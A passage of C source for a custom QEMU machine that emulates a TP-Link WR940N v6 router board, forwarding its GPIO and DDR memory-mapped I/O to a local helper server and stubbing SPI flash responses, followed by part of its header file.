kernel_size = load_elf(loaderparams.kernel_filename, NULL, cpu_mips_kseg0_to_phys, NULL, &entry, NULL, &kernel_high, NULL, TARGET_BIG_ENDIAN, EM_MIPS, 1, 0);

if (kernel_size < 0) {

error_report("could not load kernel '%s': %s", loaderparams.kernel_filename, load_elf_strerror(kernel_size)); exit(1);

}

/* load initrd */

initrd_size = 0;

initrd_offset = 0;

if (loaderparams.initrd_filename) {

initrd_size = get_image_size(loaderparams.initrd_filename); if (initrd_size > 0) {

initrd_offset = ROUND_UP(kernel_high, INITRD_PAGE_SIZE); if (initrd_offset + initrd_size > loaderparams.ram_size) { error_report(

"memory too small for initial ram disk '%s'", loaderparams.initrd_filename); exit(1);

}

initrd_size = load_image_targphys( loaderparams.initrd_filename, initrd_offset, loaderparams.ram_size ‑ initrd_offset); }

if (initrd_size == (target_ulong) ‑1) { error_report("could not load initial ram disk '%s'", loaderparams.initrd_filename); exit(1);

}

}

return entry;

}

static void main_cpu_reset(void *opaque)

{

ResetData *s = (ResetData *)opaque;

CPUMIPSState *env = &s‑>cpu‑>env;

cpu_reset(CPU(s‑>cpu));

env‑>active_tc.PC = s‑>vector;

}

static void connect_to_mmio_server(void){

int status;

struct sockaddr_in serv_addr;

if ((client_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("\n Socket creation error \n");

return;

}

serv_addr.sin_family = AF_INET;

serv_addr.sin_port = htons(1337);

if (inet_pton(AF_INET, "127.0.0.1", &serv_addr.sin_addr) <= 0) {

puts(

"\n[*] bruh...");

return;

}

if ((status

= connect(client_fd, (struct sockaddr*)&serv_addr, sizeof(serv_addr))) < 0) {

puts("\n[‑] Connection to the MMIO MITM interface failed..."); puts("[*] Is the MMIO MITM script even running?!?!"); exit(‑1); // We need the interface to be up

return;

}

}

static int read_mmio_mitm(int address){

int valread, ret_val = 0;

char buffer[128] = { 0 };

snprintf(buffer, sizeof(buffer), "r0x%x", address); send(client_fd, buffer, strlen(buffer), 0);

memset(buffer, 0, sizeof(buffer));

valread = read(client_fd, buffer, sizeof(buffer) ‑ 1);

if (valread){

ret_val = strtol(buffer, NULL, 16);

}

return ret_val;

}

static int write_mmio_mitm(int address, int value){

int valread, ret_val = 0;

char buffer[128] = { 0 };

snprintf(buffer, sizeof(buffer), "w0x%x 0x%x", address, value); send(client_fd, buffer, strlen(buffer), 0);

memset(buffer, 0, sizeof(buffer));

valread = read(client_fd, buffer, sizeof(buffer) ‑ 1);

if (valread){

ret_val = atoi(buffer);

}

return ret_val;

}

// MMIO Callbacks for GPIO

static uint64_t gpio_mmio_read(void *opaque, hwaddr addr, unsigned size) {

int base_addr = 0x18040000;

int ret_val = 0;

ret_val = read_mmio_mitm(base_addr + addr);

return ret_val;

}

static void gpio_mmio_write(void *opaque, hwaddr addr,

uint64_t val, unsigned size)

{

int base_addr = 0x18040000;

if (addr == 0x44){ // This is for UART Multiplexing, skip.

return;

}

write_mmio_mitm(base_addr + addr, val);

return;

}

static const MemoryRegionOps gpio_mmio_ops = {

.read = gpio_mmio_read,

.write = gpio_mmio_write,

.endianness = DEVICE_BIG_ENDIAN

};

// MMIO Callbacks for SPI

static uint64_t spi_mmio_read(void *opaque, hwaddr addr, unsigned size) {

struct SPI_IO *spi_io = opaque;

switch (addr) {

case 0x0:

return 1;

case 0x8:

break;

case 0xC: // (SPI_READ_DATA_ADDR)

spi_io‑>cmd = ((spi_io‑>cmd & 0x0F) << 4 | (spi_io‑>cmd & 0xF0) >> 4 | (spi_io‑>cmd & 0xF000) >> 4 | (spi_io‑>cmd & 0xF00) << 4 | (spi_io‑>cmd & 0xF0000) << 4 | (spi_io‑>cmd & 0xF00000) >> 4 | (spi_io‑>cmd & 0xF000000) << 4 | (spi_io‑>cmd & 0xF0000000) >> 4); if (spi_io‑>cmd == 0x9F){

spi_io‑>cmd = 0;

return 0x1337;

}

break;

default:

break;

}

return 0;

}

static void spi_mmio_write(void *opaque, hwaddr addr,

uint64_t val, unsigned size)

{

struct SPI_IO *spi_io = opaque;

switch (addr) {

case 0x0:

break;

case 0x8: // (SPI_IO_CONTROL_ADDR)

if ((val == 0x70000) && (spi_io‑>cmd_in_progress == 0)){ // CS0‑2 are high which means disabled

// reset cmd offset and cmd

spi_io‑>cmd_offset = 0;

spi_io‑>cmd = 0;

spi_io‑>cmd_in_progress = 1;

}

else if ((val == 0x70000) && (spi_io‑>cmd_in_progress == 1)){ spi_io‑>cmd_in_progress = 0;

break;

}

if ((val & (1 << 8)) && (val & (1 << 18))){

// CS2 is low (active)

// SPI_Clock is high, so grab data value

if (spi_io‑>cmd_offset == 32){

break;

}

spi_io‑>cmd |= (val & 1) << spi_io‑>cmd_offset; spi_io‑>cmd_offset++;

}

break;

default:

break;

}

return;

}

static const MemoryRegionOps spi_mmio_ops = {

.read = spi_mmio_read,

.write = spi_mmio_write,

.endianness = DEVICE_BIG_ENDIAN

};

// MMIO Callbacks for DDR

static uint64_t ddr_mmio_read(void *opaque, hwaddr addr, unsigned size) {

int base_addr = 0x18000000;

int ret_val = 0;

ret_val = read_mmio_mitm(base_addr + addr);

return ret_val;

}

static void ddr_mmio_write(void *opaque, hwaddr addr,

uint64_t val, unsigned size)

{

int base_addr = 0x18000000;

write_mmio_mitm(base_addr + addr, val);

return;

}

static const MemoryRegionOps ddr_mmio_ops = {

.read = ddr_mmio_read,

.write = ddr_mmio_write,

.endianness = DEVICE_BIG_ENDIAN

};

struct fw_sections parse_wr940n_firmware_header(char *filename){ struct fw_header fw_header;

struct fw_sections fw_sections;

FILE *fptr;

memset(&fw_header, 0, sizeof(fw_header));

fptr = fopen(filename, "rb");

fseek(fptr, 0,SEEK_SET);

size_t read = fread(&fw_header, 1, sizeof(fw_header), fptr); if (read != sizeof(fw_header)){

printf("[‑] Error while reading fw image %s\n", filename); printf("[‑] Read size: %ld\n", read);

}

// We need to swap since we're on AyyMD64

fw_header.version = bswap_32(fw_header.version); fw_header.hw_id = bswap_32(fw_header.hw_id);

fw_header.hw_rev = bswap_32(fw_header.hw_rev); fw_header.kernel_la = bswap_32(fw_header.kernel_la); fw_header.kernel_ep = bswap_32(fw_header.kernel_ep); fw_header.fw_length = bswap_32(fw_header.fw_length); fw_header.kernel_ofs = bswap_32(fw_header.kernel_ofs); fw_header.kernel_len = bswap_32(fw_header.kernel_len); fw_header.rootfs_ofs = bswap_32(fw_header.rootfs_ofs); fw_header.rootfs_len = bswap_32(fw_header.rootfs_len); fw_header.boot_ofs = bswap_32(fw_header.boot_ofs); fw_header.boot_len = bswap_32(fw_header.boot_len); fw_header.ver_hi = bswap_16(fw_header.ver_hi); fw_header.ver_mid = bswap_16(fw_header.ver_mid); fw_header.ver_lo = bswap_16(fw_header.ver_lo);

printf("[*] Vendor: %s\n", fw_header.vendor_name);

printf("[*] FW Version: %s\n", fw_header.fw_version); printf("[*] fw_header.kernel_la: 0x%08x\n", fw_header.kernel_la); printf("[*] fw_header.kernel_ep: 0x%08x\n", fw_header.kernel_ep); printf("[*] fw_header.kernel_ofs: 0x%08x\n", fw_header.kernel_ofs); printf("[*] fw_header.kernel_len: 0x%08x\n", fw_header.kernel_len); printf("[*] fw_header.rootfs_ofs: 0x%08x\n", fw_header.rootfs_ofs); printf("[*] fw_header.rootfs_len: 0x%08x\n", fw_header.rootfs_len); printf("[*] fw_header.bootlen: 0x%08x\n", fw_header.boot_len); printf("[*] fw_header.boot_ofs: 0x%08x\n", fw_header.boot_ofs); printf("[*] fw_header.fw_length: 0x%08x\n", fw_header.fw_length); fw_sections.boot_loader_len = fw_header.fw_length ‑ 0x200; fw_sections.bootloader = g_malloc(fw_sections.boot_loader_len + 1); read = fread(fw_sections.bootloader, 1, fw_sections.boot_loader_len, fptr);

if (read != fw_sections.boot_loader_len){

printf("[‑] Error while reading from file: %s\n", filename); }

return fw_sections;

}

static void

mips_wr940n_init(MachineState *machine)

{

const char *kernel_filename = machine‑>kernel_filename; const char *kernel_cmdline = machine‑>kernel_cmdline; const char *initrd_filename = machine‑>initrd_filename; char *filename;

MemoryRegion *address_space_mem = get_system_memory(); MemoryRegion *gpio_mmio = g_new(MemoryRegion, 1); MemoryRegion *ddr_mmio = g_new(MemoryRegion, 1);

Clock *cpuclk;

MIPSCPU *cpu;

CPUMIPSState *env;

ResetData *reset_info;

struct fw_sections fw_sections;

memset(&fw_sections, 0, sizeof(fw_sections));

// Connect to MMIO Server

connect_to_mmio_server();

cpuclk = clock_new(OBJECT(machine), "cpu‑refclk"); clock_set_hz(cpuclk, 200 * 1000000); /* 200 MHz */

/* Init CPUs. */

cpu = mips_cpu_create_with_clock(machine‑>cpu_type, cpuclk); env = &cpu‑>env;

reset_info = g_new0(ResetData, 1);

reset_info‑>cpu = cpu;

reset_info‑>vector = 0x9F000400; qemu_register_reset(main_cpu_reset, reset_info);

/* Allocate RAM. */

memory_region_add_subregion(address_space_mem, 0, machine‑>ram);

/* bootloader */

filename = qemu_find_file(QEMU_FILE_TYPE_BIOS, machine‑>firmware ?:

BIOS_FILENAME);

if (filename) {

fw_sections = parse_wr940n_firmware_header(filename); /* Map the BIOS / boot exception handler. */

memory_region_init_rom(bios, NULL, "WR940NV6.bios.rom",

fw_sections.boot_loader_len, &error_fatal);

memory_region_add_subregion_overlap(address_space_mem, 0x1F000000,

bios, 0);

rom_add_blob_fixed(filename, fw_sections.bootloader, fw_sections.boot_loader_len, 0x1F000000); g_free(filename);

}

if (fw_sections.bootloader == 0) {

/* we don't have a kernel image nor boot vector code.*/

error_report("Could not load TP‑Link FW Image bios '%s'", machine‑>firmware);

exit(1);

} else {

/* We have a boot vector start address. */

env‑>active_tc.PC = (target_long)(int32_t)0x9F000400; }

/* GPIO */

memory_region_init_io(gpio_mmio, NULL, &gpio_mmio_ops, NULL, "GPIO_MMIO", 0x74); memory_region_add_subregion(address_space_mem, 0x18040000LL,

gpio_mmio);

/* SPI */

struct SPI_IO *spi_io = g_malloc0(sizeof(struct SPI_IO)); spi_io‑>spi_contents = g_malloc0(fw_sections.boot_loader_len+1); memcpy(spi_io‑>spi_contents, fw_sections.bootloader, fw_sections.boot_loader_len); memory_region_init_io(spi_mmio, NULL, &spi_mmio_ops, spi_io, "SPI_MMIO", 0x20); memory_region_add_subregion_overlap(address_space_mem, 0x1F000000LL,

spi_mmio, 1);

/* DDR */

memory_region_init_io(ddr_mmio, NULL, &ddr_mmio_ops, NULL, "DDR_MMIO", 0x160); memory_region_add_subregion(address_space_mem, 0x18000000LL,

ddr_mmio);

if (kernel_filename) {

loaderparams.ram_size = machine‑>ram_size; loaderparams.kernel_filename = kernel_filename; loaderparams.kernel_cmdline = kernel_cmdline; loaderparams.initrd_filename = initrd_filename; reset_info‑>vector = load_kernel();

}

/* Init CPU internal devices. */

cpu_mips_irq_init_cpu(cpu);

cpu_mips_clock_init(cpu);

memory_region_init_alias(isa, NULL, "isa_mmio", get_system_io(), 0, 0x00010000); memory_region_add_subregion(get_system_memory(), 0x1fd00000,

isa);

}

static void mips_wr940n_machine_init(MachineClass *mc)

{

mc‑>desc = "TP‑Link WR940NV6 Board by b1ack0wl";

mc‑>init = mips_wr940n_init;

mc‑>default_cpu_type = MIPS_CPU_TYPE_NAME("74Kf"); mc‑>default_ram_size = 1 * GiB; // for debug reasons

mc‑>default_ram_id = "mips_wr940n.ram";

}

DEFINE_MACHINE("WR940NV6", mips_wr940n_machine_init)

```

Header File (wr940n.h)

* This needs to be put in the `qemu/include/hw/mips/` folder

```

#include <byteswap.h>

#include "hw/sysbus.h"

#include "chardev/char‑fe.h"

struct fw_sections parse_wr940n_firmware_header(char *filename);

struct fw_sections{

char *bootloader;

int boot_loader_len;

char *kernel;

int kernel_len;

char *rootfs;

int root_fs_len;

};

/*

lifted from https://github.com/jtreml/firmware‑mod‑kit/blob/master/src

/firmware‑tools/mktplinkfw.c

*/

struct fw_header {

uint32_t version; /* header version */

char vendor_name[24];

char fw_version[36];

uint32_t hw_id; /* hardware id */

uint32_t hw_rev; /* hardware revision */

uint32_t unk1;

uint8_t md5sum1[16];

uint32_t unk2;

uint8_t md5sum2[16];

uint32_t unk3;

uint32_t kernel_la; /* kernel load address */

uint32_t kernel_ep; /* kernel entry point */

uint32_t fw_length; /* total length of the firmware */

uint32_t kernel_ofs; /* kernel data offset */

uint32_t kernel_len; /* kernel data length */

uint32_t rootfs_ofs; /* rootfs data offset */

uint32_t rootfs_len; /* rootfs data length */

uint32_t boot_ofs; /* bootloader data offset */

uint32_t boot_len; /* bootloader data length */

uint16_t ver_hi;

uint16_t ver_mid;

uint16_t ver_lo;

uint8_t pad[354];

};

struct SPI_IO {

/*< private >*/

SysBusDevice parent_obj;

/*< public >*/

MemoryRegion regs_region;

CharBackend chr;

char *spi_contents;

char model_number[5];

uint32_t read_offset;

uint32_t read_len;

uint8_t busy_flag;

uint32_t cmd;

uint8_t cmd_offset;